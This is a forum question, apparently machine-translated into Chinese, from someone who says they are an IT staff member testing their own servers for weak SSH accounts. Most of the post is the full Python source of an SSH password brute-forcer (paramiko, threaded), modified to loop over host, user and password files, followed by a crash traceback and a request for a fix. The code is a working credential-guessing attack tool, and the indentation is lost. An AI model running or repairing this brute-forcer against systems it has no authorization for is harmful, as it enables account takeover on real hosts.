我不是 python 程序员,但我得到了一段运行良好的代码,但我需要修改它以循环文件并获取一些数据并执行相同的任务。显然它工作正常,但在第一行的末尾获得它崩溃是这样的:
python x.py -H SSH-Hosts.txt -U Users.txt -P passlist.txt
*************************************
*SSH Bruteforcer Ver. 0.2 *
*Coded by Christian Martorella *
*Edge-Security Research *
*laramies@gmail.com *
*************************************
Username file: Users.txt
Password file: passlist.txt
*************************************
HOST: 192.168.1.3
Username: bob
Trying password...
zzzzzz
Username: john
Trying password...
Traceback (most recent call last):
File "x.py", line 146, in <module>
test(sys.argv[1:])
File "x.py", line 139, in test
test_thread(name)
File "x.py", line 81, in test_thread
thread.join()
Zxcvbnm
该应用程序是一个测试弱 SSH 帐户的小工具,我们最近成为了几次暴力攻击的目标,我们阻止了所有这些攻击,但我们也希望定期测试弱帐户,因为可用的应用程序(例如美杜莎)崩溃了,我决定修改这个在我们的系统上运行良好的系统,但是通过每个主机和每个用户的用户对我们来说不是很现实。这不是未经授权的测试,我是 IT 的成员,我们这样做是为了防止违规!
import thread
import time
from threading import Thread
import sys, os, threading, time, traceback, getopt
import paramiko
import terminal
global adx
global port
adx="1"
port=22
data=[]
i=[]
term = terminal.TerminalController()
paramiko.util.log_to_file('demo.log')
print "\n*************************************"
print "*"+term.RED + "SSH Bruteforcer Ver. 0.2"+term.NORMAL+" *"
print "*Coded by Christian Martorella *"
print "*Edge-Security Research *"
print "*laramies@gmail.com *"
print "*************************************\n"
def usage():
print "Usage: brutessh.py options \n"
print " -H: file with hosts\n"
print " -U: file with usernames\n"
print " -P: password file \n"
print " -p: port (default 22) \n"
print " -t: threads (default 12, more could be bad)\n\n"
print "Example: brutessh.py -h 192.168.1.55 -u root -d mypasswordlist.txt \n"
sys.exit()
class force(Thread):
def __init__( self, name ):
Thread.__init__(self)
self.name = name
def run(self):
global adx
if adx == "1":
passw=self.name.split("\n")[0]
t = paramiko.Transport(hostname)
try:
t.start_client()
except Exception:
x = 0
try:
t.auth_password(username=username,password=passw)
except Exception:
x = 0
if t.is_authenticated():
print term.DOWN + term.GREEN + "\nAuth OK ---> Password Found: " + passw + term.DOWN + term.NORMAL
t.close()
adx = "0"
else:
print term.BOL + term.UP + term.CLEAR_EOL + passw + term.NORMAL
t.close()
time.sleep(0)
i[0]=i[0]-1
def test_thread(names):
i.append(0)
j=0
while len(names):
try:
if i[0]<th:
n = names.pop(0)
i[0]=i[0]+1
thread=force(n)
thread.start()
j=j+1
except KeyboardInterrupt:
print "Attack suspended by user..\n"
sys.exit()
thread.join()
def test(argv):
global th
global hostname
global username
th = 12
if len(sys.argv) < 3:
usage()
try :
opts, args = getopt.getopt(argv,"H:U:P:p:t:")
except getopt.GetoptError:
usage()
for opt,arg in opts :
if opt == '-U':
username = arg
elif opt == '-H':
hostname =arg
elif opt == '-P':
password = arg
elif opt == '-p':
port = arg
elif opt == "-t":
th = arg
try:
h = open(hostname, 'r')
except:
print "Can't open file with hostnames\n"
sys.exit()
try:
u = open(username, "r")
except:
print "Can't open username file\n"
sys.exit()
try:
f = open(password, "r")
except:
print "Can't open password file\n"
sys.exit()
print term.RED + "Username file: " +term.NORMAL + username + "\n" +term.RED + "Password file: " +term.NORMAL+ password
print "*************************************\n\n"
hostfile = h.readlines()
for hostname in hostfile:
print "HOST: " + hostname.rstrip('\n')
userfile = u.readlines()
for username in userfile:
print "Username: " + username.rstrip('\n')
print "Trying password...\n"
name = f.readlines()
#starttime = time.clock()
test_thread(name)
#stoptime = time.clock()
#print "\nTimes -- > Init: "+ str(starttime) + " End: "+str(stoptime)
print "\n"
if __name__ == "__main__":
try:
test(sys.argv[1:])
except KeyboardInterrupt:
print "Attack suspended by user...\n"
sys.exit()
如何解决这个问题?
谢谢你。